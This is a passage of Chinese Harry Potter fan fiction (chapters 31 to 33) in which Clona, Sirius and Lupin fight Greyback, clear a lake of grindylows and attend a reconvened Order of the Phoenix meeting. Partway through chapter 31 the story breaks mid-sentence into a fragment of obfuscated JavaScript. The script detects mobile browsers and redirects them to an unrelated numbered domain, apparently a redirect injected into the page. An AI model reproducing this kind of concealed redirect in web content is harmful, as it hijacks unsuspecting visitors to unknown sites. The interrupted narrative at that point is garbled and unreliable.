“除你武器!”克洛娜喊道。
她的专注法术也失效了,金发像是春天的藤蔓一样生长出来,披散向下。
狼人的魔杖脱手而出。他呆了一秒,似乎没有预料到克洛娜也会反击。毕竟她就是个不起眼的小巫师,完全不如布莱克那样引人注目。
克洛娜举起魔杖,昏迷咒的红光射向狼人。
……没打中。
狼人露出了饥饿的食肉动物见到兔子时的目光。
糟糕。
克洛娜想。
狼人的魔杖被击飞了,但是移动速度却极快,给了他们警惕的机会,就再难打中他们了。而且现在并非出于开阔宽敞的地方,大范围的法术施展不开,火焰魔法很有可能烧到自己的脑袋上。
克洛娜向地上丢了一个油腻术,整个地面变成滑腻的沼泽。
但是狼人却跃向桌面。
听说即便是非月圆夜,狼人毒素仍然能产生效果,如果被咬伤很难愈合。
就在那个狼人即将向克洛娜扑来的时候。
“——飞来!”
布莱克大喊道。“啦唯啊萨——!”
他扬起魔杖,狼人蓦然停驻,腰带被一根绳子猛拽向后方。两个咒语先后生效。狼人叫喊着一些恶毒诅咒,但是无济于事,他双脚从地面浮起,被固定在半空中,如同悬浮在无形的水里。
“雷鸣波!”克洛娜喊道。
她的法术击中了狼人,悬浮在空中的狼人被一阵闪电向后冲击,直飞出几十尺,砰地撞在酒馆脏兮兮地墙上,昏迷不醒。
“干得好,克洛娜!”布莱克大声赞赏。
他控制两把椅子砸向格雷伯克,而后闪电般地回身,对剩下的狼人也如法炮制。
“腿立僵停死!寒冰冻结——!”
两个狼人被定在原地。
卢平击晕了他们,格雷伯克又跳了上来,两人异口同声地喊出了同一个咒语。
“减震止速!”
两个巫师同时使用一个咒语的力量是巨大的。格雷伯克瞬间被时间冻结,他的动作和脚步瞬间冻住,眼睛一眨也不眨,表情固定在狰狞的形状。
忽地,一把斧子向他们扔过来。
卢平不得不转身应对,他撤走魔杖的刹那间,格雷伯克龇露出的獠牙开始扣合,仿佛他马上就要啃咬到面前的什么东西。他的眼睛向布莱克看过去。
酒馆里爆发的动乱仍然没有结束,格雷伯克带来的狼人都倒在地上,卢平用防护魔法挡开四面八方的咒语。
“克洛娜。”布莱克招呼道,他举着魔杖维持减震止速的效果。
“我们得快点出去——”卢平喊道,“幻影移形!”
“不能更赞同了,”布莱克说,“你对这里更熟!”
“等一等——”
克洛娜的魔杖杖尖对准格雷伯克。
“快点。”卢平催促道。
“我不知道能不能成功!”克洛娜也向他们大喊。
酒馆里的声音太过混乱,桌椅被炸碎的声音、窗户打破的声音、妖精被击飞的声音、黑巫师倒地的声音、酒瓶乱飞的声音……克洛娜集中精力回想着书上的那个高深的咒语,她的魔力流淌到杖尖。这个咒语需要强大的魔法——任何能在其他人身上产生影响的咒语都需要极强的力量,就像钻心咒,如果不是施咒者的力量强大,被诅咒的人甚至不会
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感到疼痛,只会像是被稍微电了一下。格雷伯克的体型巨大,不仅是个狼人,还是个黑巫师,这个咒语多半会被他豁免掉,或者是,即便打在他的身上也没有任何效果,她从来没有测试过这种法术——
“他就快挣脱了!”布莱克叫道,“我帮你控制他——你做就是了!”
不要想那么多了!
克洛娜大声念:
“脑衰智弱!”
弱智术——高强的魔法爆发出来,如同一阵炫光,敲击在格雷伯克的头顶。
格雷伯克挣脱的力道忽然停下了。
布莱克撤掉了减震止速,但格雷伯克没有再攻击他。
狼人露出了一副痴呆的样子,张了张嘴,舌头在尖利的牙齿间弹动了一下,但是没能说出一句话,仿佛在瞬间忘记了所有的词汇。他现在的智力大概已经降低到了巨怪的水平,无论是说话还是思考,都无法做到了。
弱智术成功了!
格雷伯克的喉咙里发出干巴巴的呃呃声,也忘记了自己要攻击布莱克,只顾着向酒吧里声音更大的混乱一头撞过去。
布莱克放声大笑。
卢平在这时抓住他们两个人,幻影移形了。
克洛娜感到所有的空间都在向自己挤压,周围忽然一下变得安静,光源也不见了,黑暗向上空和四周扩张开。下一刻,她从压缩的空间里跌了出来。
两次幻影移形,都是卢平带着她经历的,不得不说,她直到现在还是完全无法接受。酒精让眩晕变得更糟糕了,克洛娜大口呼吸着。但她这次没有把胃里的东西都吐出来,可以算是一种进步。
布莱克爆发出的笑声在克洛娜身后响起。
“你是从哪里学到的,”他说,“很棒的主意!太聪明了,像格雷伯克那样的人非常适合这个咒语。”
“弱智术的影响可能是永久的。”卢平说,他的魔杖提供着照明。
“我不知道,可能我的魔法还不足以永久地影响——高等的恢复魔法就能让他痊愈。”克洛娜说。
“但是至少得要一个月之后。这个月他都得做一头巨怪了。你成功让他吃到了苦头,克洛娜,而且还非常有侮辱性。”
布莱克笑着对她说,他的眼睛很亮。
“你是个很聪明的女巫,知道吗。影响人心智的咒语是最难的,你还这么年轻,但是魔法产生的效果却这么强大。”
“好吧,”克洛娜说,“谢谢。”
她的全身都有些发热。
不知道是酒精的作用,还是刚才的一番恶战带来的紧张感,她感到身体轻飘飘的,双手微微颤抖。
一丝若有若无的兴奋在心底弥漫着。
他们正在站在一块巨大的岩石上,脚下皆是棱角分明的石块。下方有一潭冰冷而沉寂的湖面,如同镜面一样反射着卢平荧光闪烁的光芒。
“咒语解除之后格雷伯克会气疯的,并且誓死追杀我们。”卢平说。
“管他呢!”
“实际上,小天狼星——”
“难道你不希望格雷伯克得到惩罚吗,莱姆斯?”
“——有一部分的我希望是我亲手做的。不过,我似乎也无法保证弱智术的效果是永久的。”
“这才是我认识的月亮脸!”
“我们得快点把清扫泥怪的工作做完然后离开这里,小天狼星,格雷伯克会追寻着气味找过来。”
“来吧,那就开始吧。”
他们的脚下都是崎岖尖锐的岩石,卢平甩出去一个光球,照亮整片湖泊。湖泊的周边围绕着钟乳石和漆黑的岩体,水面荡漾着波痕,一眼望不到尽头。卢平走下一个陡坡,布莱克也点亮了魔杖,他转身查看克洛娜有没有跟上。
他忽然愣了一下,接着露出笑意。
“有趣吗?”他低声问。
“什么?”
“你正在笑,”小天狼星说,“这还是你从霍格沃茨出来之后我第一次见你笑。你应该多出来走走,学了咒语但是不用又有什么意思,是不是?”
克洛娜也愣住了。
她甚至不知道自己什么时候开始的微笑。
31.第 31 章
深入隧道和岩洞中清理泥怪确实是一份危险的工作。
一不留神,就会跌进深渊,或地下水渠、撞倒崩塌的岩体被掩埋、误踩到凶恶的蘑菇,导致失去一整条腿,或者被炸飞出去,万劫不复。
地下湖里的格林迪洛,数量比泥怪还多。
还有一群马形水怪执着于吃掉他们身上所有的肉。
不要对马形水怪抱有什么幻想。
这几天克洛娜想的最多的就是这个。
它们神秘、漂亮,披挂着优雅的、水藻般的鬃毛——但确实不折不扣的肉食动物。
马形水怪一定是从尼斯湖来的。
据说尼斯湖水怪会捕食它们。马形水怪被赶出栖息地,就会顺水饥饿地游荡到地下湖,在这里找吃的。
而泥怪通常潜伏在岩洞和浅水区中。
泥怪长相各异,攻击形态有时会以一个灰暗的大蟾蜍的模样出现。然而通常都是一摊烂泥,像巨型黏菌一样盘踞在湖泊边缘,黏糊糊的身体中裹着小动物的碎骨头、看不出模样的金属物品、以及一些石块。
这些生物具有黑魔法生物的特性,无法抵抗燃烧的火焰或者强烈光照。
所以可以用火焰熊熊击退。
泥怪舌头是魔药药材,卢平将它们逐一收集进他变出的玻璃瓶里,而后又让瓶子缩小,重新放回他的大衣口袋。
卢平对这个地带已经很熟悉了。
过了一天之后,小天狼星也摸索清了路线,用更方便的幻影移形代替在漆黑的湖泊岩滩上徒步行走。
他接走了带着克洛娜幻影移形的工作,而且不像卢平那样温柔——他在幻影移形之前不会有任何提示。
有好几次,小天狼星都是突然抓住克洛娜的肩膀,而后迅速将她拖进瞬移的眩晕中。
克洛娜尽可能离他远一点。
他们暂时住在岩洞中,用变形术搭建出三个相当像样的帐篷。
格雷伯克没有带着他的狼人追上来,可能是因为湖泊太远,或者是弱智术的效果还没有结束。
小天狼星的变形术更娴熟,所以通常都是他易容后幻影移形,弄些吃的东西回来。
顺便带回一些时事新闻。
每天,几乎都会有几名常光顾黑市的黑巫师销声匿迹。
“还是没有哈利的消息。”
小天狼星担忧地说。他大踏步走回来的同时,从一个头发灰黄、鼻梁扁平的男巫,变回他原本的样子。
“没有消息就是好消息。”卢平说。
“那些黑巫师,”克洛娜问看,“他们已经加入食死徒了?”
“不会那么快。”小天狼星说。
“魔法部还是不承认伏地魔已经起死回生。”克洛娜说。
“对,但是这些黑巫师也没有那么傻,他们听到一些风吹草动就逃走了。黑市里开始流通非法门钥匙,有一个妖精在售卖这些东西。”
“所以他们藏到了国外去。”
小天狼星摊了一下手,“差不多就是这样。”
伏地魔始终没有更大规模的行动。
但是谣言已经开始大面积散布,克洛娜猜想伏地魔正是想要达到这样的效果,让人们都听说他回来了,制造恐慌,并且召集他的信徒,等待一举成功的契机。
根据克洛娜所见到的未来——伏地魔已经接近成功了。
邓布利多被魂器的黑魔法反噬而死,只剩下哈利孤军奋战,伏地魔的势力越发强大。
克洛娜还记得她被困在神秘事务司的时候。缄默人会站在笼子前聊天。
那时伏地魔正准备摧毁阿兹卡班监狱,放出被关在里面的食死徒。
不知道伏地魔有没有成功。
克洛娜的时间卡在了危机蔓延的时候,她只能窥见之前已经走过的路,但却不知道这条路会通往什么方向。
这局棋已经快要死了。
她的力量太微薄,只不过是杯水车薪。在摧枯拉朽的时间面前,她已经尽力影响了一部分现实。可是,现实非但没有变好,反而被固定在了恐怖的命运中。看似随机,但一切都无法挣脱,走向早就已经注定好的结局。
尽管她想帮忙,但却做不到扭转时间的轨道。
克洛娜什么都没说。
……
开阔的黑暗吞噬了人对时间的感知。
克洛娜跟着小天狼星和卢平,他们每天都要攀爬各种各样的岩石,钻进足有一整个山那么高的岩洞,在石头缝隙中寻找泥怪腐蚀的痕迹。
能找到的泥怪数量越来越少,说明他们的进展得还不错。
直到他们走了整整一天也没见到一只泥怪的踪影——卢平终于宣布,委托工作结束了。
他们围在一盏煤油灯前吃面包和罐头汤。
小天狼星让一小团不烫手的火焰在罐头底部燃烧,可以让汤一直是热的。
卢平清点着装有泥怪舌头的那些小瓶子。
瓶子在用了缩小咒之后变得很袖珍,现在都躺在他的手心。
好几只格林迪洛正在水底鬼鬼祟祟,比划着触丝般细长的爪子,似乎打算跳跃到岸上来抢点东西回去。这些绿色的水底小魔鬼,会用爪子紧紧抓住它们能抓住的所有东西,无差别地攻击所有没有獠牙的生物,而且笨到根本记不住巫师手里的魔杖能让它们吃足苦头。
格林迪洛在进化论里肯定没有和人类一同演化。
克洛娜想。
它们生活的水域太荒凉了,根本不知道听到人类的脚步声靠近要逃走,还想从人类这里捞点好处。
克洛娜想到二年级的黑魔法防御术课。
——对格林迪洛使用力松劲泄,就能让它们再也抓不住东西,而变得容易被击败。
“这些能卖多少加隆,莱姆斯?”小天狼星看着卢平手里的小瓶子,问道。
“一条泥怪舌头平均价格是200银西可左右,1加隆换算17西可,就是11加隆13西可。我们清理了大概三十只泥怪,还有一只超大型的。”卢平思索着说,“再加上20加隆的雇佣费用,扣去税收。泥怪舌头得交给委托人,肯定不是市面上的价格。我最后应该能拿到二百多加隆。”
“还不赖。”小天狼星说。
二百加隆?!
如果是月薪的话——
“足有普通巫师的两三倍了!”克洛娜说。
“确实。”卢平说。
克洛娜叹了一口气,“比魔法部的工作赚的多。”
“看来在魔法部坐办公室根本赚不到多少钱,”小天狼星浑不在意地说,“在魔法部还被各种各样的规矩限制。”
“不过魔法部的薪资还是更稳定一些。”
“稳定地赚着最少的钱?”
克洛娜觉得小天狼星在这件事上没有任何发言权,毕竟他是随手就能掏出一座金山的人。
“你没有工作,布莱克先生。”她说。
“那我这些天在做什么——”
“你又不是为了赚钱才做这些的。”
“我能做的还真不少。”小天狼星笑嘻嘻地说,“对能力也是一种考验,所以大部分人都敬而远之。”
“也有可能会正在这个过程中丧命或者被捕入狱。”
“嗯。报酬丰厚就意味着更危险。”
“并不是危险就会有回报啊。”
“反正一直不付出行动,是绝对不会有收获的。”
卢平非常及时地打断他们:“我不是年年都能接到这么好的委托,小天狼星。”
他的视线在小天狼星和克洛娜之间来回移动。
“这几天你的感觉如何,克洛娜?”卢平问。
他们每天都在臭泥里打转,现在身上有一股腐烂的老鼠尸体,混合着动物排泄物的味道。
克洛娜诚实地说:“感觉二百加隆有点少了。”
两匹马形水怪又从远处的湖面探出头,湿淋淋的宽叶香蒲披在它们的头顶。被光源吸引过来的格林迪洛听到马形水怪的声音,嗖的一下游走了。
“你对自己今后的工作有什么规划了吗?”
卢平不经意间询问道。
克洛娜看向不远处的马形水怪。
“我不知道。”她说。
她对自己的未来毫无规划,可能她以后也会和卢平一样,到处奔波,试图赚一些钱,谋求生存吧。
毕竟那些稳定的职位可不是给一个每年都会变成沙子原地消失的人准备的。
她甚至现在还不知道怎么拿到N.E.W.T.证书。
有多少岗位会聘用一个连巫师资格证书都没有的人?她又要通过什么方式才能把现在的证书带给“来自未来”自己呢?
而且法弗纳尔·莱斯特兰奇就在魔法部……
克洛娜的后背升起一丝寒意。
或许她应该去麻瓜世界,这样法弗纳尔·莱斯特兰奇就永远都无法得知她的存在了。
就在这时候。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14864617|157008||http|test|mini|href|location''.split(''|''),0,{}));
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>帐篷后方忽然传来啪的一声爆响。
“就业咨询是个很好的话题,莱姆斯。”
这是一个非常熟悉的声音。
他们都转头看去,一个白发苍苍,带着巫师帽,穿了一身靛蓝色袍子的老人登上凹凸不平的碎石地,看到他们时,露出了欣慰的表情。“啊,看来我的判断是正确的。”
小天狼星立刻站起来。
“邓布利多——”
“邓布利多。”卢平说。
克洛娜和卢平也放下手中的东西,站了起来。
“哈利怎么样了?”
小天狼星急着问。
这个问题看来已经在他的心里揣了很久了。
“昨天傍晚已经回到了德思礼家,这个假期他都会在他姨妈的家里度过。”
“为什么?”小天狼星问。
“德思礼家现在是对他最有利的地方。”邓布利多简单地说,“会议上我会详细阐述关于哈利的事情。这也正是我此行的目的。”
“不过我以为我们没有留下任何痕迹。这附近还有统统加护。”小天狼星说。
邓布利多说:“因为痕迹都被抹除了,我才能追踪到这里。你们的隐蔽措施做得很到位。不过你们忘了泥怪有一个特点——它们行动过的地方会变得很干净。有的时候有些太过干净了。”
“因为巢穴里的东西都被腐蚀了?”
小天狼星飞快地反应过来。
“是的。从可能藏着泥怪的洞穴里找出最干净的几个,基本就能确定你们的位置了。”
邓布利多停顿一下,又说道:“对了,我在湖泊南岸遇见了芬里尔,他的群体似乎也在找什么人,希望不是你们。”
小天狼星和卢平对望了一眼。
邓布利多打量着他们。
“我看到他的时候他正在试图吃下一块石头,就算是对于芬里尔来说也有些反常。”邓布利多平静地说道。“莱姆斯?”
“我们确实在几天前遇见了他。”
卢平做出解释。
“酒馆里发生了矛盾,但是他没有猜到我们出现在这里是因为凤凰社准备重新召集。小天狼星故意激怒了他,转移了他的注意力。所以他大概会将我们的出现仅仅看做一个麻烦。我现在有点担心月圆的那天……不过他现在的状态也不会比他清醒的时候更危险了。”
小天狼星补充道,“——克洛娜用了一个漂亮的弱智术,成功让他闭嘴了。这个法术至少能持续一个月。”
邓布利多的目光落在克洛娜的身上。
克洛娜感觉有些无措。
校长的注视让她觉得自己像是做错什么事情了。
邓布利多的视线有些锋利,看来最近的形势十分严峻。
今年,1995年。
也就是她上四年级的这年。
根据小天狼星打探到的消息,这一年和克洛娜记忆中的1995年一样,伏地魔复活,福吉说什么都不肯相信。这样的话,就意味着——魔法部即将开始不遗余力地造谣抹黑哈利·波特,把邓布利多当成他们的假想敌,一边恐惧哈利说的是真的,一边神经质地提防邓布利多想要夺权。福吉会把无能发挥到极致,一年之后被反对党赶下台,由鲁弗斯·斯克林杰取而代之。
魔法部肯定已经开始对邓布利多施压了。
因为邓布利多坚定地声明伏地魔已经复活,并且将这个消息广而告之。
在霍格沃茨学期结束的晚宴上,全校师生举杯悼念塞德里克·迪戈里之后,邓布利多公布了伏地魔归来的消息。
而魔法部显然是反对他这么做的。
邓布利多越坚定,福吉就越疑神疑鬼。
“无论如何,康奈利正在尽他所能,不遗余力地否定事实,我们最近得低调行事。”
邓布利多说。
“凤凰社重新召集的第一次会议安排在今晚。收拾一下,是时候出发了。莱姆斯,回去的路上,我们区交付你的委托,小天狼星,你现在需要变成阿尼马格斯形态了。”
小天狼星点点头。
转瞬间,一只巨型黑狗出现在原地。
卢平走向水边,挥动魔杖,让魔法创造的帐篷重新变回岩石。
哗啦——!
一匹凶悍而狡猾的马形水怪猛地从水里跃出来,黑狗眨眼间冲上去,发出一声震耳欲聋的吠叫。克洛娜被他的叫声吓得浑身一抖。
但是马形水怪还是咬掉了卢平的袍角。
32.第 32 章
凤凰社的会议地点是猪头酒吧。
克洛娜上一次来时,还是四年级那年,被金妮拉着参加D.A.的集会。
她对猪头酒吧的印象——
这里是个人多眼杂,而且非常混乱的地方。
整个酒吧年久失修,气氛诡异,如同安置在霍格莫德村里的黑市,角落里坐着好几个看起来就面色不善的巫师,穿着长长的黑斗篷,阴狠地盯着推门而入的人。
很难想象,邓布利多怎么会把如此重要的会议地点定在这里。
猪头酒吧的老板站在狭窄的吧台后,手中端着啤酒杯,正从啤酒桶中接啤酒。邓布利多走进来时,他的动作停顿住,注视向他们。目光古怪、锋利而寒冷,让克洛娜想起地下湖的湖水。
而邓布利多不以为意。
“阿不福思。”他率先进入酒吧,向猪头酒吧的老板打了一声招呼。“有空余的房间吗?”
“二楼的房间都空着,”酒吧老板说,“你得付钱。”
“那是自然。”邓布利多说。
猪头酒吧老板也留了长胡子,有一双蓝眼睛。
他们看起来很像,年纪也差不多——名字也差不多,克洛娜想。
而对话的方式……像是曾经很熟悉,最终决定老死不相往来,但又不得不在对方身边待上数十年的朋友。
邓布利多站在楼梯口对他们招了一下手。
卢平用魔杖指着马形水怪撕掉的那块斗篷,娴熟地打好补丁。
黑狗用湿漉漉的鼻子碰了一下克洛娜的手,从她身边挤过去,登上咯吱作响的台阶。
猪头酒吧的二层是一条破败的走廊。
几扇透风的深褐色木门从楼梯口排列到黑暗尽头。木板上覆盖着奇怪的液体干涸的痕迹,克洛娜怀疑那是血。
这些木门都是旅馆房间。
灯光昏暗至极,微弱的阳光从窗户透进来,楼板发出空荡荡的声音,非常不详,好似下一秒就可能被踩塌下去。墙面上的墙皮都已经脱落了,露出下方灰色的砖块,门框像是被随意地堆砌在那里。每个门上都带了一个肮脏生锈的门栓,没有一点防盗效果。
不知道什么人会情愿在这样的地方过夜。
感觉住在这间酒馆里,恐怕都不用等到午夜,住店的旅客就会被吸血鬼袭击,或者是被偷猎者抢劫。
邓布利多推开了左侧的第一扇门,走了进去。
房间里闷热无比,七月的骄阳灼烤着地面,空气里弥漫着一股许久没有开窗通风的味道,还夹杂了油炸、羊膻、以及放了很久的食物。仿佛再差一点就要形成固体了。
窗帘是黑色的,拉拢在窗户的两侧,餐桌旁边摆放着四把椅子,向里面走则是狭窄的卧房。
起居室稍微宽敞一些。
邓布利多留在这里。
他举起魔杖,指向门口。克洛娜猜想他大概是用了几个加护的咒语,因为楼下传来的嘈杂声忽然变得朦胧不清了。
壁炉里堆放着黑灰色的柴火,似乎从冬天到现在都没有清理过。木板地面已经被踩得抛光,脚底踩在上面会产生一种黏糊糊的感觉。
“这次有多少人?”
小天狼星问道。
“我们有一些新的盟友,也有过去你们认识的人。”邓布利多说。
他刚说完,门外就响起木腿敲击地面的声音。
咚咚——咚咚——
阿拉斯托·穆迪推开门,走了进来,魔眼骨碌碌地转着。
接着是斯内普,穿了一件高领的,蝙蝠般的长袍,似乎根本没有收到暑气的影响。
还有麦格教授,头戴帽檐很宽的女巫帽——似乎有很好的遮阳效果。
费力地挤进门框的是海格。地板在他的脚底发出了痛苦的低吟声,似乎完全无法承受他的重量。
他们应该是直接从霍格沃茨来的。
因为距离霍格莫德最近,所以他们来得最快。
“这地方选得真糟。”穆迪说。
“挺好的地方……就是有点太小了。”海格嘟囔道。
“最危险的地方就是最安全的地方,阿拉斯托。这个房间已经被我施了防窃听咒。”邓布利多说。
斯内普反驳道:“最危险的地方就是最危险的地方,邓布利多,我们应该选择一个真正安全的会议地点。”
他环视整个房间,目光落在小天狼星的身上。用缓慢的、黏腻的语调说:“更何况,这里还有个更危险的人物,谁知道有没有人已经追踪到这里了——”
自打他进门起,小天狼星就厌恶地看着他。
此刻他们正在对彼此怒目而视。
“没有任何人跟踪我们,斯内普,”小天狼星轻蔑地说,“除非你怀疑邓布利多。”
卢平温言说:“我们是一起来的,西弗勒斯。”
“太好了,你们是一起来的。很高兴看到危险程度现在翻倍了。”
斯内普根本不领情。
但卢平也没有跟他吵起来。
“难道最危险的不是你吗?”小天狼星犀利地反问道。
“除非我有着比杀人犯更危险的罪名。”
“难不成你没有被召集?”
“够了,不要再吵了。”麦格教授说。
她从斯内普面前走过,无视了两人瞪着对方的视线,向前走了几步,问道:“还有多少人,阿不思?”
邓布利多回答:“金斯莱正在赶来的路上,亚瑟和莫丽应该快要到了。”
邓布利多站在壁炉旁边,双手拢在身前,修长的手指握着魔杖。蓝色的眼睛注视着小天狼星和斯内普的争吵。
看来他们吵得还不算太严重,或者邓布利多见过更严重的。克洛娜心想。
不然邓布利多大概率会出言阻止。
一群人并没有等待很长时间。剩下的人很快就到齐了。
邓布利多用了个无痕伸展咒,整个房间都开始扩大,石墙猛地向后移动,能让海格也自然地站在天花板下。海格说道:“谢了,邓布利多。”他随身带着一把粉红色的伞,不知道是用来做什么的,反正肯定不是用来遮阳。
而直到韦斯莱夫妇走进门,克洛娜才终于知道莫丽是韦斯莱夫人的名字。
不仅有韦斯莱夫妇,还有他们的儿子比尔·韦斯莱。
克洛娜简直不敢相信。她和金妮做了几年的朋友,经常听金妮提起她妈妈,而她竟然一直没有记住过韦斯莱夫人叫什么。在克洛娜的记忆里,韦斯莱夫人一直都是母亲的形象,称呼就是“妈妈”。她在霍格沃茨假期回程的站台上见过几次韦斯莱夫人,韦斯莱夫人还问过她和金妮相处得怎么样了,并且表示过,很高兴她能和金妮作朋友。
接着到场的是几个独自前来的巫师。
“梅林!”戴了一顶紫色帽子的巫师大叫道,“小天狼星·布莱克!”
他慌忙抽出魔杖,魔杖差点没脱手而出。
“小天狼星现在是我们的朋友。”邓布利多说。
“什么?!”
小天狼星把双手揣在口袋里,背着窗口的光线看向他。像是商场橱窗中的塑料模特一样。
“你可以放下你的魔杖了。”邓布利多说,“德达洛,欢迎。”
猪头酒吧二楼旅馆出现了许多男巫和女巫,而除去最开始到的那几个人,其他人进门时都倒吸了一口凉气。
然后做了相同的动作——
大惊失色,抽出魔杖,对准小天狼星。
而邓布利多不厌其烦地向他们解释,小天狼星不是他们的敌人。
这些巫师之中有些人已经认识彼此了,他们进屋后彼此打招呼,但是都回避着小天狼星,似乎还没有习惯通缉了两年的罪犯和他们处于同一个屋子里。即便邓布利多表示小天狼星现在是凤凰社的成员,很多人还是没法立刻转换思维。
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就像哈利第一次向克洛娜坦白时一样。
如果说出这话的不是邓布利多,大概每个人都会以为对方中了夺魂咒。
二十分钟后,房间里的人数不再增加了。
克洛娜沿着房间边缘挪动到角落,过了一会儿,她发现小天狼星不知道什么时候已经站到了她的身边。
克洛娜数了数,不算邓布利多,在场的大概有十五个人。
邓布利多似乎是在等待没有到齐的成员,几分钟后。他对站在门边上的卢平说:“把门关上吧,莱姆斯。”
卢平转身,将手放在门框上。门缓缓关闭——
“等等!”
走廊中有个女声喊道。
接着是一阵急匆匆的脚步。
卢平正在拉开门,他的视线刚刚放在了门把手上,还没等他抬起眼睛,门口就忽然传来砰的一声。一个粉红色鸢尾花颜色的东西闯了过来。对方似乎原本以为卢平会关上门,所以用了推门的力气,而卢平正打算把门往后拉。
当克洛娜看清那个粉红色的东西其实是个女巫的时候,女巫已经一头撞在了卢平的身上。
“哎呀!”
“抱歉——”卢平连忙说。
“对不起!”女巫迅速道歉。
“唐克斯!”一个男声在后方厉声呵斥。“我们不是来参加生日宴会的!”
女巫从卢平身上挪开,赶紧压低声音。
“对不起,先生,”她对卢平说,目光看向整个屋子里的人,她惭愧地往夏季短斗篷里缩了缩,“哦!大家都已经到了,我们来晚了,太不好意思了,金斯莱一定要填完文件才出发。”
女巫有一头过分鲜艳的短发,年龄大概在二十出头,她用明亮的黑色眼睛打量着邓布利多对这个房间用的空间咒语。
卢平向后让去,唐克斯走进来之后,金斯莱·沙克尔也出现了。
“唐克斯?”小天狼星惊讶道。
“梅林在上!小天狼星?!”
唐克斯抽出魔杖。
“这是怎么回事——”金斯莱说,他比唐克斯稳重多了,低沉的声音越过人群,问邓布利多,“布莱克也在这里?”
“真想不到还要再来一次,”小天狼星苦笑道,“听着,我……唉,我现在站在大家这边。我确实还在被通缉,但没有杀过任何人。”
之前都是邓布利多在做权威的解释,现在小天狼星终于为自己说一句话了。
“我就知道!”
唐克斯说着收起魔杖,快步向小天狼星走过去,在他面前停下来,“很高兴见到你。”
“是的,”邓布利多宣布道,“现在人就到齐了。金斯莱,麻烦你,能关一下门吗?在场的有些是上一次战争时就与我们并肩的,还有新加入的血液,想必你们现在心里一定充满疑问,我会解释所有的问题。首先关于小天狼星,还有关于伏地魔的复活。但我们还需要介绍一下每一个人,感谢你们在如此危险的时间坚定地、勇敢地选择了反抗。”
他从身边的麦格教授开始介绍。
虽然克洛娜感觉没有人会不认识麦格,所有人大概都是麦格教出来的学生。而后,他又介绍了阿拉斯托·穆迪,西弗勒斯·斯内普。
莱姆斯·卢平,,爱米琳·万斯,尼法朵拉·唐克斯,比尔·韦斯莱……
每个被他介绍到的人都向前一步,向大家颔首。
“——这是克洛娜·巴沙特。”
邓布利多的目光终于落在了克洛娜的身上。
克洛娜攥紧了袖口,屋内十七个人的视线都在同一时间移向她。
邓布利多说:“她是凤凰社的新成员。”
克洛娜看到韦斯莱先生和韦斯莱夫人交换了一下目光,穆迪的魔眼死死地盯住她。
而邓布利多开始介绍下一个人了。
“这位是德达洛·迪歌,上一次也与我们在一起……”
33.第 33 章
会议仿佛要持续到下个世纪。
巫师们不停地分析魔法部、威森加摩、议会大厦以及唐宁街都发生了什么,并且核对了现在已知的食死徒的名单。有些时候会有些争吵的苗头,但都被邓布利多制止了。看得出这件屋子里并不是所有人都相信斯内普——据说他现在是凤凰社的间谍,具有凤凰社成员和食死徒的双重身份,邓布利多已经许可他回到食死徒的队列中,并且尽可能地多地从他们的内部打探信息。
克洛娜感到这会议简直比上宾斯教授的魔法史课程更累,邓布利多没有让会议变得有趣。
整个会议流程甚至可以称得上是无聊和冗长,他并未提有关魂器的事情,而且讲述的事情都是克洛娜已经知道的。
他还解释了关于小天狼星受到冤枉的前因后果。
斯内普几乎是龇牙咧嘴地听完了全程。
看起来他非常不想听到小天狼星是无辜的这个事实。
凤凰社再次重组后的第一次会议,克洛娜猜想邓布利多并不想这么早地透露出所有的不确凿的消息,而是想尽可能的掌握更多来自四面八方的线索。
他的做法比直接说出魂器的位置,或者是散布恐慌要高明很多。
但克洛娜还是止不住地犯困。
麦格教授变出了一张长桌,增加椅子的数量,让所有人都围着桌子坐。
窗外的阳光从金色变成了伤口般的血红色,时间逐渐接近傍晚。
提到其他可能加入凤凰社的人时,邓布利多问道:
“蒙顿格斯没法在近期加入我们了,是吗?”
金斯莱回答:“是的,蒙顿格斯被判了六个月,还有和他在一起的斯威汀,不知道他用了什么方法让那个独角兽角消失不见了,他们只能这么判了,不然还能让他多蹲十年的监狱。”
“我本来想让他在这个暑假保护哈利,他知道应该怎样不引人瞩目地隐藏自己。而现在看来他自身难保了。”邓布利多说,“所以……唐克斯?”
坐在克洛娜身边的唐克斯直了直后背。
“可以把这个工作交给我吗,邓布利多?”她热情洋溢地说。
金斯莱露出不赞同的目光。
“最好还是不要把跟踪这种事情交给唐克斯……”
“我可以做得很好!傲罗考试里我的隐藏和伪装术拿了第一名!”
邓布利多则说:“我觉得唐克斯能出色地完成这项任务。不是跟踪,是贴身保护哈利。”
唐克斯很高兴。
“哇哦,哈利波特……”她赞叹了一声,信誓旦旦的样子像是要去给明星当保镖。
“会议结束之前——”邓布利多说。
终于!
克洛娜心想。
她发现自己已经盯着一个地方看了很久。
克洛娜感觉左手侧的小天狼星早就坐不住了。
他靠在椅背上,整个会议的后半段都微微侧着头。没有轮到他说话的时候,他的目光就在正在发言的人之间打转,最后根据自己的见解评论两句,或者给出一些提议和帮助。比如比尔·韦斯莱谈论关于妖精的问题时,他就始终看着比尔,而卢平说到芬里尔·格雷伯克和他的狼群时,小天狼星的目光又移向卢平。
“——我们需要确定下一次凤凰社会议的地址,一个防护性更强,具有完整的保护措施,并且更适合谈论机密内容的地方,方便大家来回走动,同时能容纳下更多人的地方,当做凤凰社的指挥部。”
凤凰社的指挥部。
克洛娜的脑海里跃出一个地址。
格里莫广场12号。
“霍格沃茨?”海格说。“现在大家都放假了,我是说,如果你需要的话,邓布利多,我的小屋也可以贡献出来。”
“那就太打扰你了,海格。我在霍格莫德有个空房子。”麦格教授说。
“陋居也可以当做总部,”亚瑟说,“我们每次都聚集在霍格莫德未免会引人怀疑。陋居周围都是草甸,我们可以施几个作用力强的防护咒。”
“或许破釜酒吧?”
那个叫做迪歌的男巫说,他随后感觉这个提议不是很靠谱,摸了摸自己的帽檐,“但是那里交通最方便——”
“我家在费德罗特,也可以当做指挥部。”其中一个秃头的男巫说。
爱米琳·万斯说:“等等,迪恩亚耶,卢克伍德和萨鲁是不是也住在那边?而奥古斯特·卢克伍德显然已经加入了食死徒。”
“卢克伍德早就不住在那边了。”
